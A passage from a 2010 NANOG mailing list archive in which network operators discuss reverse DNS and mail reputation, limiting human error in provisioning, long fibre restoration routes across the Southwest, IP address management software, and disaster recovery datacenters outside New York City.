real, non-generic names with matching forward/reverse DNS". ---Rsk From setient at gmail.com Tue Feb 2 09:46:12 2010 From: setient at gmail.com (Ronald Cotoni) Date: Tue, 2 Feb 2010 10:46:12 -0500 Subject: Threading the senderbase reputation needle In-Reply-To: References: Message-ID: <2f1d68351002020746p2849f3c1qada8656f5c5a64ef@mail.gmail.com> On Tue, Feb 2, 2010 at 10:32 AM, Drew Weaver wrote: > Since email reputation is now being based on the neighborhood theory you > must do one of the following: > > Do one of the following (hopefully #1): > > 1.) Provide custom reverse DNS for the customer. ?BCP for SMTP server DNS > is matching forward and reverse DNS. ?Anything else is suspect... > > 2.) Set up a relay host and funnel all customers mail through it. > > Side effects of each: > > 1.) Slightly more work on the front end (but hey, even AT&T will do this > for business DSL customers). ?People will know you have clue. ?The > technical staff at your customers will be happy and recommend you to their > peers (well, I guess this depends a bit on what kind of customers you > have). > > 2.) You have taken responsibility for all your customers' outbound mail > flows. ?You will need to scale an abuse desk and maintain effective > anti-spam policies (including customer education). ?If you don't run an > effective abuse desk (including blocking your own customers outbound mail > when necessary), you will be blacklisted eventually anyway. ?You could > charge extra for or outsource this ESP service. > ====== > > Okay, as I mentioned, we allow the customers to set their reverse DNS to whatever they want as long as the forward and the reverse match. we don't own the customer's domains nor do we host the DNS for 99% of them, so I'm not sure how we could enforce a rule saying that everyone on our network has to have their reverse DNS set a certain way. That is why we set it up like we did, because we can control hostnames within our domain and we can set the PTR record to match. Like I said before we're a hosting company, we sell Co-Lo, Dedicated servers, and Virtualization products. > > It seems somewhat impossible to employ either of your suggestions in our environment. > > thanks, > -Drew > > > > I used to work at a hosting company and we had a few solutions in place. Whenever a client purchased a server or an additional block of ip's, it was assigned the reverse dns related to the hostname of their server. This even included example.com sometimes. The client could then change it as they wish. Another option we had was an outgoing spam filter setup with ASSP. This scrubbed all outgoing mail for spam messages. Honestly the first option was good enough for most people. About 99.95% of your clients assign a forward DNS for their server/colo/virtualization products. Just make it a requirement that they provide that before you turn up their service. This prevents DUHLs from listing you for those generic RDNS names. From kamtha at ak-labs.net Tue Feb 2 09:48:33 2010 From: kamtha at ak-labs.net (Carlos Kamtha) Date: Tue, 2 Feb 2010 10:48:33 -0500 Subject: Unix Sysadmin/Net Eng in the Toronto Area? Message-ID: <20100202154833.GA4881@ak-labs.net> Greetings, I am looking for an experienced Freebsd/linux/cisco/juniper person. If you live in Toronto or the GTA and are interested please drop me a line offlist. Cheers, Carlos. From drew.weaver at thenap.com Tue Feb 2 09:51:10 2010 From: drew.weaver at thenap.com (Drew Weaver) Date: Tue, 2 Feb 2010 10:51:10 -0500 Subject: Threading the senderbase reputation needle In-Reply-To: <20100202154504.GA10839@gsp.org> References: <20100202154504.GA10839@gsp.org> Message-ID: I think this discussion would be much better on the mailop list, but the short answer here is "real mail servers have real, non-generic names with matching forward/reverse DNS". -------- That certainly is true, but if a "real mail server" that has real, non-generic names with matching forward/reverse DNS happens to be in the same /24 as a server that doesn't it is given a poor reputation by Senderbase since Senderbase cannot do simple RIR lookups to see the scope of that particular customer's network/impact. -Drew From jared at puck.nether.net Tue Feb 2 11:33:50 2010 From: jared at puck.nether.net (Jared Mauch) Date: Tue, 2 Feb 2010 12:33:50 -0500 Subject: Mitigating human error in the SP In-Reply-To: References: Message-ID: <2E8691F5-8538-4380-A3D1-0FD1E9F1613C@puck.nether.net> We have solved 98% of this with standard configurations and templates. To deviate from this requires management approval/exception approval after an evaluation of the business risks. Automation of config building is not too hard, and certainly things like peer-groups (cisco) and regular groups (juniper) make it easier. If you go for the holy grail, you want something that takes into account the following: 1) each phase in the provisioning/turn-up state 2) each phase in infrastructure troubleshooting (turn-up, temporary outage/temporary testing, production) 3) automated pushing of config via load override/commit replace to your config space. Obviously testing, etc.. is important. I've found that whenever a human is involved, mistakes happen. There is also the "Software is imperfect" mantra that should be repeated. I find vendors at times have demanding customers who want perfection. Bugs happen, Outages happen, the question is how do you respond to these risks. If you have poor handling of bugs, outages, etc.. in your process or are decision gridlocked, very bad things happen. - Jared On Feb 1, 2010, at 9:21 PM, Chadwick Sorrell wrote: > Hello NANOG, > > Long time listener, first time caller. > > A recent organizational change at my company has put someone in charge > who is determined to make things perfect. We are a service provider, > not an enterprise company, and our business is doing provisioning work > during the day. We recently experienced an outage when an engineer, > troubleshooting a failed turn-up, changed the ethertype on the wrong > port losing both management and customer data on said device. This > isn't a common occurrence, and the engineer in question has a pristine > track record. > > This outage, of a high profile customer, triggered upper management to > react by calling a meeting just days after. Put bluntly, we've been > told "Human errors are unacceptable, and they will be completely > eliminated. One is too many." > > I am asking the respectable NANOG engineers.... > > What measures have you taken to mitigate human mistakes? > > Have they been successful? > > Any other comments on the subject would be appreciated, we would like > to come to our next meeting armed and dangerous. > > Thanks! > Chad From egon at egon.cc Tue Feb 2 11:46:03 2010 From: egon at egon.cc (James Downs) Date: Tue, 2 Feb 2010 09:46:03 -0800 Subject: Mitigating human error in the SP In-Reply-To: <2E8691F5-8538-4380-A3D1-0FD1E9F1613C@puck.nether.net> References: <2E8691F5-8538-4380-A3D1-0FD1E9F1613C@puck.nether.net> Message-ID: <019A886A-17C4-4EBE-BF29-AC53B3F8B5DD@egon.cc> On Feb 2, 2010, at 9:33 AM, Jared Mauch wrote: > We have solved 98% of this with standard configurations and templates. > > To deviate from this requires management approval/exception approval > after an evaluation of the business risks. I would also point Chad to this book: http://bit.ly/cShEIo (Amazon Link to Visual Ops). It's very useful to have your management read it. You may or may not be able to or want to use a full ITIL process, but understanding how these policies and procedures can/should work, and using the ones that apply makes sense. Change control, tracking, and configuration management are going to be key to avoiding mistakes, and being able to rapidly repair when one is made. Unfortunately, most management that demands No Tolerance, Zero Error from operations won't read the book. Good luck.. I'd bet most of the people on this list have been there one time or another. Cheers, -j From jcdill.lists at gmail.com Tue Feb 2 12:01:11 2010 From: jcdill.lists at gmail.com (JC Dill) Date: Tue, 02 Feb 2010 10:01:11 -0800 Subject: Mitigating human error in the SP In-Reply-To: References: Message-ID: <4B686867.9080602@gmail.com> Chadwick Sorrell wrote: > This outage, of a high profile customer, triggered upper management to > react by calling a meeting just days after. Put bluntly, we've been > told "Human errors are unacceptable, and they will be completely > eliminated. One is too many." Good, Fast, Cheap - pick any two. No you can't have all three. Here, Good is defined by your pointy-haired bosses as an impossible-to-achieve zero error rate.[1] Attempting to achieve this is either going to cost $$$, or your operations speed (how long it takes people to do things) is going to drop like a rock. Your first action should be to make sure upper management understands this so they can set the appropriate priorities on Good, Fast, and Cheap, and make the appropriate budget changes. It's going to cost $$$ to hire enough people to have the staff necessary to double-check things in a timely manner, OR things are going to slow way down as the existing staff is burdened by necessary double-checking of everything and triple-checking of some things required to try to achieve a zero error rate. They will also need to spend $$$ on software (to automate as much as possible) and testing equipment. They will also never actually achieve a zero error rate as this is an impossible task that no organization has ever achieved, no matter how much emphasis or money they pour into it (e.g. Windows vulnerabilities) or how important (see Challenger, Columbia, and the Mars Climate Orbiter incidents). When you put a $$$ cost on trying to achieve a zero error rate, pointy-haired bosses are usually willing to accept a normal error rate. Of course, they want you to try to avoid errors, and there are a lot of simple steps you can take in that effort (basic checklists, automation, testing) which have been mentioned elsewhere in this thread that will cost some money but not the $$$ that is required to try to achieve a zero error rate. Make sure they understand that the budget they allocate for these changes will be strongly correlated to how Good (zero error rate) and Fast (quick operational responses to turn-ups and problems) the outcome of this initiative. jc [1] http://www.godlessgeeks.com/LINKS/DilbertQuotes.htm 2. "What I need is a list of specific unknown problems we will encounter." (Lykes Lines Shipping) 6. "Doing it right is no excuse for not meeting the schedule." (R&D Supervisor, Minnesota Mining & Manufacturing/3M Corp.) From mirotrem at gmail.com Tue Feb 2 12:51:59 2010 From: mirotrem at gmail.com (Chadwick Sorrell) Date: Tue, 2 Feb 2010 13:51:59 -0500 Subject: Mitigating human error in the SP In-Reply-To: <591451F7-40D4-4C3E-9B3E-518A602BD9C1@egontech.com> References: <2E8691F5-8538-4380-A3D1-0FD1E9F1613C@puck.nether.net> <591451F7-40D4-4C3E-9B3E-518A602BD9C1@egontech.com> Message-ID: On Tue, Feb 2, 2010 at 12:45 PM, James Downs wrote: > > On Feb 2, 2010, at 9:33 AM, Jared Mauch wrote: > > We have solved 98% of this with standard configurations and templates. > > To deviate from this requires management approval/exception approval after > an evaluation of the business risks. > > I would also point Chad to this book:?http://bit.ly/cShEIo (Amazon Link to > Visual Ops). > It's very useful to have your management read it. ?You may or may not be > able to or want to use a full ITIL process, but understanding how these > policies and procedures can/should work, and using the ones that apply makes > sense. > Change control, tracking, and configuration management are going to be key > to avoiding mistakes, and being able to rapidly repair when one is made. > Unfortunately, most management that demands No Tolerance, Zero Error from > operations won't read the book. > Good luck.. I'd bet most of the people on this list have been there one time > or another. > Cheers, > -j Interesting book, maybe I'll bring that to the next meeting. Thanks for the heads up on that. From LarrySheldon at cox.net Tue Feb 2 13:11:25 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Tue, 02 Feb 2010 13:11:25 -0600 Subject: Mitigating human error in the SP In-Reply-To: <2E8691F5-8538-4380-A3D1-0FD1E9F1613C@puck.nether.net> References: <2E8691F5-8538-4380-A3D1-0FD1E9F1613C@puck.nether.net> Message-ID: <4B6878DD.3060108@cox.net> On 2/2/2010 11:33 AM, Jared Mauch wrote: > We have solved 98% of this with standard configurations and > templates. > > To deviate from this requires management approval/exception approval > after an evaluation of the business risks. > > Automation of config building is not too hard, and certainly things > like peer-groups (cisco) and regular groups (juniper) make it > easier. Those things and some of the others that have been mentioned will go a very long way to prevent the second occurrence. Only training, adequate (number and quality) staff, and a quality-above-all-all-else culture have a prayer of preventing the first occurrence. (For sure, lots of the second-occurrence-preventers may be part of that quality first culture.) -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From nonobvious at gmail.com Tue Feb 2 14:27:26 2010 From: nonobvious at gmail.com (Bill Stewart) Date: Tue, 2 Feb 2010 12:27:26 -0800 Subject: Fiber Cut in CA? In-Reply-To: <1685579605-1265097857-cardhu_decombobulator_blackberry.rim.net-566927336-@bda609.bisx.prod.on.blackberry> References: <1685579605-1265097857-cardhu_decombobulator_blackberry.rim.net-566927336-@bda609.bisx.prod.on.blackberry> Message-ID: <18a5e7cb1002021227w7b96b411tbf029ac91a75e51f@mail.gmail.com> On Tue, Feb 2, 2010 at 12:04 AM, wrote: > That is one long protect path. Yikes. There be mountains in the way, with deserts in between, and not a lot of people to justify diversity or railroads and highways to run it along. Not many carriers have more than one fiber route across Arizona and New Mexico, especially for the newer high-capacity fibers (i.e. built this millennium, after the financial excesses of the 90s.) I'm no longer current on what routes are being used by what carriers, but if you don't have two routes across northern Arizona ( I-10/I-40, with restoration routes like Barstow->LasVegas->Flagstaff->Phoenix), then the next alternative is Barstow->LasVegas->SaltLakeCity->Denver, at which point some carriers have routes down to Phoenix via Tucumcari or Amarillo, and the rest are going to go through Dallas, and anybody who doesn't have the LasVegas->SLC route is going to use Sacramento->SLC->Denver, possibly also including San Jose, depending on what routes they've got across California. So, yeah, instead of the nice short 2200-mile restoration routes you can use if SF->Seattle fails, cable cuts in the Southwest can be really long... -- ---- Thanks; Bill Note that this isn't my regular email account - It's still experimental so far. And Google probably logs and indexes everything you send it. From standalone.sysadmin at gmail.com Tue Feb 2 14:29:39 2010 From: standalone.sysadmin at gmail.com (Matt Simmons) Date: Tue, 2 Feb 2010 15:29:39 -0500 Subject: Fiber Cut in CA? In-Reply-To: <18a5e7cb1002021227w7b96b411tbf029ac91a75e51f@mail.gmail.com> References: <1685579605-1265097857-cardhu_decombobulator_blackberry.rim.net-566927336-@bda609.bisx.prod.on.blackberry> <18a5e7cb1002021227w7b96b411tbf029ac91a75e51f@mail.gmail.com> Message-ID: <5bcb62b61002021229m3228e7dbyb65e352caddd86a0@mail.gmail.com> And in an open desert, back hoes can smell fiber from miles away. On Tue, Feb 2, 2010 at 3:27 PM, Bill Stewart wrote: > On Tue, Feb 2, 2010 at 12:04 AM, ? wrote: >> That is one long protect path. Yikes. > > There be mountains in the way, with deserts in between, and not a lot > of people to justify diversity or railroads and highways to run it > along. > Not many carriers have more than one fiber route across Arizona and > New Mexico, especially for the newer high-capacity fibers (i.e. built > this millennium, after the financial excesses of the 90s.) > I'm no longer current on what routes are being used by what carriers, > but if you don't have two routes across northern Arizona ( I-10/I-40, > with restoration routes like Barstow->LasVegas->Flagstaff->Phoenix), > then the next alternative is Barstow->LasVegas->SaltLakeCity->Denver, > at which point some carriers have routes down to Phoenix via Tucumcari > or Amarillo, and the rest are going to go through Dallas, and anybody > who doesn't have the LasVegas->SLC route is going to use > Sacramento->SLC->Denver, possibly also including San Jose, depending > on what routes they've got across California. > > So, yeah, instead of the nice short 2200-mile restoration routes you > can use if SF->Seattle fails, cable cuts in the Southwest can be > really long... > -- > ---- > ? ? ? ? ? ? Thanks; ? ? Bill > > Note that this isn't my regular email account - It's still experimental so far. > And Google probably logs and indexes everything you send it. > > -- LITTLE GIRL: But which cookie will you eat FIRST? COOKIE MONSTER: Me think you have misconception of cookie-eating process. From paveldimow at gmail.com Tue Feb 2 14:55:01 2010 From: paveldimow at gmail.com (Pavel Dimow) Date: Tue, 2 Feb 2010 21:55:01 +0100 Subject: ip address management Message-ID: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> Hello, does anybody knows what happend with ipat? http://nethead.de/index.php/ipat http://nanog.cluepon.net/index.php/Tools_and_Resources Any other suggestion for a good foss ip address management app with ipv6 support? From scott at sberkman.net Tue Feb 2 15:14:35 2010 From: scott at sberkman.net (Scott Berkman) Date: Tue, 2 Feb 2010 16:14:35 -0500 Subject: ip address management In-Reply-To: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> References: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> Message-ID: <009e01caa44c$b953b120$2bfb1360$@net> I was about to suggest IPPlan, but it is lacking the V6 support. Here is one I found doing some searching, but I haven't used it myself: http://sourceforge.net/projects/haci/ -Scott -----Original Message----- From: Pavel Dimow [mailto:paveldimow at gmail.com] Sent: Tuesday, February 02, 2010 3:55 PM To: nanog at nanog.org Subject: ip address management Hello, does anybody knows what happend with ipat? http://nethead.de/index.php/ipat http://nanog.cluepon.net/index.php/Tools_and_Resources Any other suggestion for a good foss ip address management app with ipv6 support? From msprague at readytechs.com Tue Feb 2 15:15:48 2010 From: msprague at readytechs.com (Matt Sprague) Date: Tue, 2 Feb 2010 16:15:48 -0500 Subject: Datacenter for DR in northwestern NJ/NY Message-ID: <386FCF83D8086E4A89655E41CD3B53D359C829B3B7@rtexch01> Hello NANOG! Does anyone know of some strong datacenters in northwestern NJ, or north of Westchester NY without getting too far away from NYC? I'm looking for a DR colo solution for a site that is in NYC; this needs to be at least 50m away from NYC, but I'm trying to keep it not too much further than that for convenience. I'm also trying to keep this to top level providers as there may be compliance requirements. Thanks in advance for any responses. -- Matt Sprague ReadyTechs, LLC msprague at readytechs.com 973-455-0606 x1204 (voice) http://www.readytechs.com/ From Ray.Sanders at VillageVoiceMedia.com Tue Feb 2 15:41:22 2010 From: Ray.Sanders at VillageVoiceMedia.com (Ray Sanders) Date: Tue, 02 Feb 2010 14:41:22 -0700 Subject: Datacenter for DR in northwestern NJ/NY Message-ID: <4B683992020000F2000398B2@newtimes.com> Datapipe has a facility in N.J... Not sure if they are 50mi from NYC Mobile email powered by the force... ---- Original Message ---- From: "Matt Sprague" Date: 2/2/10 2:19 pm To: "nanog at nanog.org" Subj: Datacenter for DR in northwestern NJ/NY Hello NANOG! Does anyone know of some strong datacenters in northwestern NJ, or north of Westchester NY without getting too far away from NYC? I'm looking for a DR colo solution for a site that is in NYC; this needs to be at least 50m away from NYC, but I'm trying to keep it not too much further than that for convenience. I'm also trying to keep this to top level providers as there may be compliance requirements. Thanks in advance for any responses. -- Matt Sprague ReadyTechs, LLC msprague at readytechs.com 973-455-0606 x1204 (voice) http://www.readytechs.com/ From msprague at readytechs.com Tue Feb 2 15:44:26 2010 From: msprague at readytechs.com (Matt Sprague) Date: Tue, 2 Feb 2010 16:44:26 -0500 Subject: Datacenter for DR in northwestern NJ/NY In-Reply-To: <4B683992020000F2000398B2@newtimes.com> References: <4B683992020000F2000398B2@newtimes.com> Message-ID: <386FCF83D8086E4A89655E41CD3B53D359C829B3C0@rtexch01> Thanks! I was looking at them also (I live in that area), but you're right, they're just inside a 50mi radius. -- Matt Sprague Delivery Director? ReadyTechs llc 973.455.0606 x1204 -----Original Message----- From: Ray Sanders [mailto:Ray.Sanders at VillageVoiceMedia.com] Sent: Tuesday, February 02, 2010 4:41 PM To: nanog at nanog.org; Matt Sprague Subject: RE: Datacenter for DR in northwestern NJ/NY Datapipe has a facility in N.J... Not sure if they are 50mi from NYC Mobile email powered by the force... ---- Original Message ---- From: "Matt Sprague" Date: 2/2/10 2:19 pm To: "nanog at nanog.org" Subj: Datacenter for DR in northwestern NJ/NY Hello NANOG! Does anyone know of some strong datacenters in northwestern NJ, or north of Westchester NY without getting too far away from NYC? I'm looking for a DR colo solution for a site that is in NYC; this needs to be at least 50m away from NYC, but I'm trying to keep it not too much further than that for convenience. I'm also trying to keep this to top level providers as there may be compliance requirements. Thanks in advance for any responses. -- Matt Sprague ReadyTechs, LLC msprague at readytechs.com 973-455-0606 x1204 (voice) http://www.readytechs.com/ From scott at sberkman.net Tue Feb 2 15:50:28 2010 From: scott at sberkman.net (Scott Berkman) Date: Tue, 2 Feb 2010 16:50:28 -0500 Subject: Datacenter for DR in northwestern NJ/NY In-Reply-To: <386FCF83D8086E4A89655E41CD3B53D359C829B3B7@rtexch01> References: <386FCF83D8086E4A89655E41CD3B53D359C829B3B7@rtexch01> Message-ID: <00a401caa451$bc73eaa0$355bbfe0$@net> Might be better off going to Philly, its only about an hour and a half away, and you'll likely have better connectivity options. Most of the big data centers in NJ are well within the 50 mile requirement (Bergen County, Hoboken, Newark, Jersey City). -Scott -----Original Message----- From: Matt Sprague [mailto:msprague at readytechs.com] Sent: Tuesday, February 02, 2010 4:16 PM To: nanog at nanog.org Subject: Datacenter for DR in northwestern NJ/NY Hello NANOG! Does anyone know of some strong datacenters in northwestern NJ, or north of Westchester NY without getting too far away from NYC? I'm looking for a DR colo solution for a site that is in NYC; this needs to be at least 50m away from NYC, but I'm trying to keep it not too much further than that for convenience. I'm also trying to keep this to top level providers as there may be compliance requirements. Thanks in advance for any responses. -- Matt Sprague ReadyTechs, LLC msprague at readytechs.com 973-455-0606 x1204 (voice) http://www.readytechs.com/ From standalone.sysadmin at gmail.com Tue Feb 2 15:57:48 2010 From: standalone.sysadmin at gmail.com (Matt Simmons) Date: Tue, 2 Feb 2010 16:57:48 -0500 Subject: Datacenter for DR in northwestern NJ/NY In-Reply-To: <00a401caa451$bc73eaa0$355bbfe0$@net> References: <386FCF83D8086E4A89655E41CD3B53D359C829B3B7@rtexch01> <00a401caa451$bc73eaa0$355bbfe0$@net> Message-ID: <5bcb62b61002021357l30a949c5lb50a42bfaf1cfcb8@mail.gmail.com> Sungard has some nice datacenters in Philly. I'm in one that's still being built out, and I haven't regretted it yet. --Matt On Tue, Feb 2, 2010 at 4:50 PM, Scott Berkman wrote: > Might be better off going to Philly, its only about an hour and a half away, > and you'll likely have better connectivity options. ?Most of the big data > centers in NJ are well within the 50 mile requirement (Bergen County, > Hoboken, Newark, Jersey City). > > ? ? ? ?-Scott > > -----Original Message----- > From: Matt Sprague [mailto:msprague at readytechs.com] > Sent: Tuesday, February 02, 2010 4:16 PM > To: nanog at nanog.org > Subject: Datacenter for DR in northwestern NJ/NY > > Hello NANOG! > > Does anyone know of some strong datacenters in northwestern NJ, or north of > Westchester NY without getting too far away from NYC? > > I'm looking for a DR colo solution for a site that is in NYC; this needs to > be at least 50m away from NYC, but I'm trying to keep it not too much > further than that for convenience. ?I'm also trying to keep this to top > level providers as there may be compliance requirements. > > Thanks in advance for any responses. > -- > Matt Sprague > ReadyTechs, LLC > > msprague at readytechs.com > 973-455-0606 x1204 (voice) > http://www.readytechs.com/ > > > > -- LITTLE GIRL: But which cookie will you eat FIRST? COOKIE MONSTER: Me think you have misconception of cookie-eating process. From mooregr at greenms.com Tue Feb 2 16:06:23 2010 From: mooregr at greenms.com (Greg D. Moore) Date: Tue, 02 Feb 2010 17:06:23 -0500 Subject: Datacenter for DR in northwestern NJ/NY In-Reply-To: <4B683992020000F2000398B2@newtimes.com> References: <4B683992020000F2000398B2@newtimes.com> Message-ID: <20100202220236.4A7C444C0BE@relay3.r3.iad.emailsrvr.com> At 04:41 PM 2/2/2010, Ray Sanders wrote: >Datapipe has a facility in N.J... I have to admit, I've used the Datapipe facility. I'm underwhelmed. You might also want to try Albany. Smaller providers, but a few up there (Time Warner for example) that may work. Decent infrastructure, a train ride away. Good brew pubs. >Not sure if they are 50mi from NYC > >Mobile email powered by the force... > >---- Original Message ---- >From: "Matt Sprague" >Date: 2/2/10 2:19 pm >To: "nanog at nanog.org" >Subj: Datacenter for DR in northwestern NJ/NY >Hello NANOG! > >Does anyone know of some strong datacenters in northwestern NJ, or >north of Westchester NY without getting too far away from NYC? > >I'm looking for a DR colo solution for a site that is in NYC; this >needs to be at least 50m away from NYC, but I'm trying to keep it >not too much further than that for convenience. I'm also trying to >keep this to top level providers as there may be compliance requirements. > >Thanks in advance for any responses. >-- >Matt Sprague >ReadyTechs, LLC > >msprague at readytechs.com >973-455-0606 x1204 (voice) >http://www.readytechs.com/ Greg D. Moore President mooregr at greenms.com Ask me about lily, an RPI based chat system: http://lilycore.sourceforge.net/ Help honor our WWII Veterans: http://www.honorflight.org/ From bcerniglia at whisolutions.com Tue Feb 2 16:52:28 2010 From: bcerniglia at whisolutions.com (Cerniglia, Brandon) Date: Tue, 2 Feb 2010 17:52:28 -0500 Subject: Datacenter for DR in northwestern NJ/NY In-Reply-To: <386FCF83D8086E4A89655E41CD3B53D359C829B3B7@rtexch01> References: <386FCF83D8086E4A89655E41CD3B53D359C829B3B7@rtexch01> Message-ID: <4E51E3414E92644EA8F47C586C4C81CAFDF84B6739@whryemsx01.whisolutions.com> Cervalis has facilities in wappingers ny 1.5 hours from NYC -----Original Message----- From: Matt Sprague [mailto:msprague at readytechs.com] Sent: Tuesday, February 02, 2010 4:16 PM To: nanog at nanog.org Subject: Datacenter for DR in northwestern NJ/NY Hello NANOG! Does anyone know of some strong datacenters in northwestern NJ, or north of Westchester NY without getting too far away from NYC? I'm looking for a DR colo solution for a site that is in NYC; this needs to be at least 50m away from NYC, but I'm trying to keep it not too much further than that for convenience. I'm also trying to keep this to top level providers as there may be compliance requirements. Thanks in advance for any responses. -- Matt Sprague ReadyTechs, LLC msprague at readytechs.com 973-455-0606 x1204 (voice) http://www.readytechs.com/ STATEMENT OF CONFIDENTIALITY: The information contained in this electronic message and any attachments to this message are intended for the exclusive use of the addressee(s) and may contain confidential or privileged information. If you are not the intended recipient, please notify WHI Solutions immediately at gc at whisolutions.com, and destroy all copies of this message and any attachments. From smb at cs.columbia.edu Tue Feb 2 17:19:20 2010 From: smb at cs.columbia.edu (Steven Bellovin) Date: Tue, 2 Feb 2010 18:19:20 -0500 Subject: Datacenter for DR in northwestern NJ/NY In-Reply-To: <4E51E3414E92644EA8F47C586C4C81CAFDF84B6739@whryemsx01.whisolutions.com> References: <386FCF83D8086E4A89655E41CD3B53D359C829B3B7@rtexch01> <4E51E3414E92644EA8F47C586C4C81CAFDF84B6739@whryemsx01.whisolutions.com> Message-ID: <61777DD2-3C7D-4D69-BEC1-C3D5EEE1F46A@cs.columbia.edu> On Feb 2, 2010, at 5:52 PM, Cerniglia, Brandon wrote: > Cervalis has facilities in wappingers ny > 1.5 hours from NYC Hmm -- where to the fibers run from a facility like that? Are the all homed to NYC, or are there runs to, say, Albany or Boston? > > -----Original Message----- > From: Matt Sprague [mailto:msprague at readytechs.com] > Sent: Tuesday, February 02, 2010 4:16 PM > To: nanog at nanog.org > Subject: Datacenter for DR in northwestern NJ/NY > > Hello NANOG! > > Does anyone know of some strong datacenters in northwestern NJ, or north of Westchester NY without getting too far away from NYC? > > I'm looking for a DR colo solution for a site that is in NYC; this needs to be at least 50m away from NYC, but I'm trying to keep it not too much further than that for convenience. I'm also trying to keep this to top level providers as there may be compliance requirements. > > Thanks in advance for any responses. > -- > Matt Sprague > ReadyTechs, LLC > > msprague at readytechs.com > 973-455-0606 x1204 (voice) > http://www.readytechs.com/ > > > STATEMENT OF CONFIDENTIALITY: > > > > The information contained in this electronic message and any attachments to > this message are intended for the exclusive use of the addressee(s) and may > contain confidential or privileged information. If you are not the intended > recipient, please notify WHI Solutions immediately at gc at whisolutions.com, > and destroy all copies of this message and any attachments. > > --Steve Bellovin, http://www.cs.columbia.edu/~smb From bclark at spectraaccess.com Tue Feb 2 17:36:51 2010 From: bclark at spectraaccess.com (Bret Clark) Date: Tue, 02 Feb 2010 18:36:51 -0500 Subject: Fiber Cut in CA? In-Reply-To: <5bcb62b61002021229m3228e7dbyb65e352caddd86a0@mail.gmail.com> References: <1685579605-1265097857-cardhu_decombobulator_blackberry.rim.net-566927336-@bda609.bisx.prod.on.blackberry> <18a5e7cb1002021227w7b96b411tbf029ac91a75e51f@mail.gmail.com> <5bcb62b61002021229m3228e7dbyb65e352caddd86a0@mail.gmail.com> Message-ID: <4B68B713.20401@spectraaccess.com> Good point...so if the cut is in the middle of nowhere without easy access...then how the hell did it get cut? Malicious? Matt Simmons wrote: And in an open desert, back hoes can smell fiber from miles away. On Tue, Feb 2, 2010 at 3:27 PM, Bill Stewart [1] wrote: On Tue, Feb 2, 2010 at 12:04 AM, [2] wrote: That is one long protect path. Yikes. There be mountains in the way, with deserts in between, and not a lot of people to justify diversity or railroads and highways to run it along. Not many carriers have more than one fiber route across Arizona and New Mexico, especially for the newer high-capacity fibers (i.e. built this millennium, after the financial excesses of the 90s.) I'm no longer current on what routes are being used by what carriers, but if you don't have two routes across northern Arizona ( I-10/I-40, with restoration routes like Barstow->LasVegas->Flagstaff->Phoenix), then the next alternative is Barstow->LasVegas->SaltLakeCity->Denver, at which point some carriers have routes down to Phoenix via Tucumcari or Amarillo, and the rest are going to go through Dallas, and anybody who doesn't have the LasVegas->SLC route is going to use Sacramento->SLC->Denver, possibly also including San Jose, depending on what routes they've got across California. So, yeah, instead of the nice short 2200-mile restoration routes you can use if SF->Seattle fails, cable cuts in the Southwest can be really long... -- ---- Thanks; Bill Note that this isn't my regular email account - It's still experimental so far. And Google probably logs and indexes everything you send it. References 1. mailto:nonobvious at gmail.com 2. mailto:charles at knownelement.com From smb at cs.columbia.edu Tue Feb 2 17:46:13 2010 From: smb at cs.columbia.edu (Steven Bellovin) Date: Tue, 2 Feb 2010 18:46:13 -0500 Subject: Fiber Cut in CA? In-Reply-To: <4B68B713.20401@spectraaccess.com> References: <1685579605-1265097857-cardhu_decombobulator_blackberry.rim.net-566927336-@bda609.bisx.prod.on.blackberry> <18a5e7cb1002021227w7b96b411tbf029ac91a75e51f@mail.gmail.com> <5bcb62b61002021229m3228e7dbyb65e352caddd86a0@mail.gmail.com> <4B68B713.20401@spectraaccess.com> Message-ID: <339FE6A7-4837-41A7-9320-0A3B9D09BA4A@cs.columbia.edu> On Feb 2, 2010, at 6:36 PM, Bret Clark wrote: > Good point...so if the cut is in the middle of nowhere without easy > access...then how the hell did it get cut? Malicious? Some hikers were lost in the desert and tossed down some fiber, waiting for a backhoe to show up and save them, but it was confused by the scent of a much longer, juicier piece.... > Matt Simmons wrote: > > And in an open desert, back hoes can smell fiber from miles away. > > On Tue, Feb 2, 2010 at 3:27 PM, Bill Stewart [1] wrote: > > On Tue, Feb 2, 2010 at 12:04 AM, [2] wrote: > > That is one long protect path. Yikes. > > There be mountains in the way, with deserts in between, and not a lot > of people to justify diversity or railroads and highways to run it > along. > Not many carriers have more than one fiber route across Arizona and > New Mexico, especially for the newer high-capacity fibers (i.e. built > this millennium, after the financial excesses of the 90s.) > I'm no longer current on what routes are being used by what carriers, > but if you don't have two routes across northern Arizona ( I-10/I-40, > with restoration routes like Barstow->LasVegas->Flagstaff->Phoenix), > then the next alternative is Barstow->LasVegas->SaltLakeCity->Denver, > at which point some carriers have routes down to Phoenix via Tucumcari > or Amarillo, and the rest are going to go through Dallas, and anybody > who doesn't have the LasVegas->SLC route is going to use > Sacramento->SLC->Denver, possibly also including San Jose, depending > on what routes they've got across California. > > So, yeah, instead of the nice short 2200-mile restoration routes you > can use if SF->Seattle fails, cable cuts in the Southwest can be > really long... > -- > ---- > Thanks; Bill > > Note that this isn't my regular email account - It's still experimental so far. > And Google probably logs and indexes everything you send it. > > References > > 1. mailto:nonobvious at gmail.com > 2. mailto:charles at knownelement.com > --Steve Bellovin, http://www.cs.columbia.edu/~smb From scott at sberkman.net Tue Feb 2 18:41:59 2010 From: scott at sberkman.net (Scott Berkman) Date: Tue, 2 Feb 2010 19:41:59 -0500 Subject: Fiber Cut in CA? In-Reply-To: <4B68B713.20401@spectraaccess.com> References: <1685579605-1265097857-cardhu_decombobulator_blackberry.rim.net-566927336-@bda609.bisx.prod.on.blackberry> <18a5e7cb1002021227w7b96b411tbf029ac91a75e51f@mail.gmail.com> <5bcb62b61002021229m3228e7dbyb65e352caddd86a0@mail.gmail.com> <4B68B713.20401@spectraaccess.com> Message-ID: <00dd01caa469$b20eb4b0$162c1e10$@net> Cross-country Fibers very often follow existing utility rights of way. So even in a wide open desert, the places the fibers go are the "busy" spots. Sometimes its train tracks, sometimes its gas pipelines, sometimes its electric, sometimes it?s a road, but very rarely is fiber like that "on its own". So the cut was likely construction on whatever the fiber 